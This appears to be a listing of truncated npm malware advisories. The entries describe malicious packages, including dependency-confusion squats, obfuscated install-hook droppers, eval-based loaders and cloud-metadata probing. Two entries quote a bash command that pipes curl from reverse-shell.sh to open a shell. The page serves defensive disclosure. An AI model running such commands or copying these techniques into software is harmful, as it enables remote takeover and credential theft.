npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-10931 blocks this version. The org-twilio-phone-numbers-utils package is a dependency-confusion squat of Twilio's npm namespace published by user 'yu...

OpenSSF/OSV malware advisory MAL-2026-11512 blocks this version. The package's main module exports a function `command()` that invokes `/bin/bash -c` to fetch a script from reverse-shell....

OpenSSF/OSV malware advisory MAL-2026-11136 blocks this version. src/index.js in fluid-type-ui@2.0.8 contains a hidden code block, pushed off-screen by a long run of tab characters, that...

OpenSSF/OSV malware advisory MAL-2026-11500 blocks this version. index.js appends an eval(atob(...)) blob to an otherwise legitimate Tailwind plugin. On require(), the decoded loader quer...

OpenSSF/OSV malware advisory MAL-2026-11388 blocks this version. The package advertises itself as a dependency-free calendar/streak math library but its main entrypoint dist/index.mjs con...

OpenSSF/OSV malware advisory MAL-2026-11388 blocks this version. The package advertises itself as a dependency-free calendar/streak math library but its main entrypoint dist/index.mjs con...

OpenSSF/OSV malware advisory MAL-2026-10988 blocks this version. package.json declares a preinstall hook (`node./dist/index.d.js`) that runs automatically on `npm install`. The script at...

OpenSSF/OSV malware advisory MAL-2026-10945 blocks this version. The zer0onetencent2 package was published to the npm registry by user 't2423048543' (maintainer email t2423048543@gmail.co...

OpenSSF/OSV malware advisory MAL-2026-11523 blocks this version. This tarball, published under the popular `cache-manager` name, ships an obfuscated `preinstall` dropper that does not exi...

OpenSSF/OSV malware advisory MAL-2026-11524 blocks this version. keyv@6.0.0 is a lookalike of the popular keyv key-value package but ships an attack chain absent from the real library. Th...

OpenSSF/OSV malware advisory MAL-2026-11517 blocks this version. The package's main module exports a `command()` function that runs `/bin/bash -c 'curl https://reverse-shell.sh/10.0.64.14...

OpenSSF/OSV malware advisory MAL-2026-11517 blocks this version. The package's main module exports a `command()` function that runs `/bin/bash -c 'curl https://reverse-shell.sh/10.0.64.14...

OpenSSF/OSV malware advisory MAL-2026-11510 blocks this version. The package is advertised as a React UI layout library but on require('beaver-ui-layout') loads _bridge.js, which reconstr...

OpenSSF/OSV malware advisory MAL-2026-11509 blocks this version. The package's declared postinstall (`node setup.js`) and its main entry `index.js` (which unconditionally calls `require('...

OpenSSF/OSV malware advisory MAL-2026-11508 blocks this version. beaver-ui-header@12.3.9 advertises itself as a UI header library but ships a setup.js that runs on npm postinstall and aga...

OpenSSF/OSV malware advisory MAL-2026-11507 blocks this version. On any require of the package, index.js loads _polyfill.js which downloads a platform-specific binary from obfuscated Clou...

OpenSSF/OSV malware advisory MAL-2026-11505 blocks this version. On require() of accounts-loading-state, index.js loads setup.js which schedules bootstrap() via process.nextTick. bootstra...

OpenSSF/OSV malware advisory MAL-2026-11522 blocks this version. Package advertises itself as a React UI toolkit but on require(), _helpers.js runs init() at module load which selects a p...

OpenSSF/OSV malware advisory MAL-2026-11506 blocks this version. beaver-ui-date-range-picker@12.5.3 declares a postinstall hook (`node setup.js`) and additionally triggers the same script...

OpenSSF/OSV malware advisory MAL-2026-11504 blocks this version. Requiring accounts-final-form auto-runs setup.js via process.nextTick(bootstrap) in index.js. setup.js selects a platform-...

OpenSSF/OSV malware advisory MAL-2026-11485 blocks this version. The package.json postinstall script runs on every npm install and uses curl to probe cloud instance-metadata services (AWS...